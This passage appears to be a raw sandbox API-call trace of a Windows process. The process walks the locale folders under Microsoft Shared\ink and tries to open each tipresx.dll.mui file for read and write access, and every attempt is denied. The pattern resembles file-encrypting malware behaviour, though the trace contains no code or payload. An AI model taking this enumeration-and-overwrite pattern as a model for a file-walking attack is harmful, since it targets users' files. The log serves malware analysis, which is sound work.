hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.808] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.808] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.808] GetProcessHeap () returned 0x2ef0000 [0168.808] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.809] GetLastError () returned 0x5 [0168.809] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.809] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.809] GetProcessHeap () returned 0x2ef0000 [0168.809] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.809] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0168.809] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0168.809] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0168.809] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th-TH", cAlternateFileName="")) returned 1 [0168.809] GetProcessHeap () returned 0x2ef0000 [0168.809] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.810] GetProcessHeap () returned 0x2ef0000 [0168.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.810] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.810] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.810] GetProcessHeap () returned 0x2ef0000 [0168.810] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.810] GetLastError () returned 0x5 [0168.810] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.810] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.810] GetProcessHeap () returned 0x2ef0000 [0168.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.810] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0168.811] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0168.811] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0168.811] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0168.811] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0168.811] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0168.811] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0168.811] GetProcessHeap () returned 0x2ef0000 [0168.811] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.811] GetProcessHeap () returned 0x2ef0000 [0168.811] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.811] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.811] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.812] GetProcessHeap () returned 0x2ef0000 [0168.812] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.812] GetLastError () returned 0x5 [0168.812] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.812] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.812] GetProcessHeap () returned 0x2ef0000 [0168.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.812] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0168.812] GetProcessHeap () returned 0x2ef0000 [0168.812] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.812] GetProcessHeap () returned 0x2ef0000 [0168.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.813] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.813] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.813] GetProcessHeap () returned 0x2ef0000 [0168.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.813] GetLastError () returned 0x5 [0168.813] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.813] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.813] GetProcessHeap () returned 0x2ef0000 [0168.813] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.813] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0168.813] GetProcessHeap () returned 0x2ef0000 [0168.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.814] GetProcessHeap () returned 0x2ef0000 [0168.814] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.814] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.814] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.815] GetProcessHeap () returned 0x2ef0000 [0168.815] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.815] GetLastError () returned 0x5 [0168.815] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.816] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.816] GetProcessHeap () returned 0x2ef0000 [0168.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.816] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0168.816] GetProcessHeap () returned 0x2ef0000 [0168.816] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.816] GetProcessHeap () returned 0x2ef0000 [0168.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.816] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.816] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.816] GetProcessHeap () returned 0x2ef0000 [0168.817] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 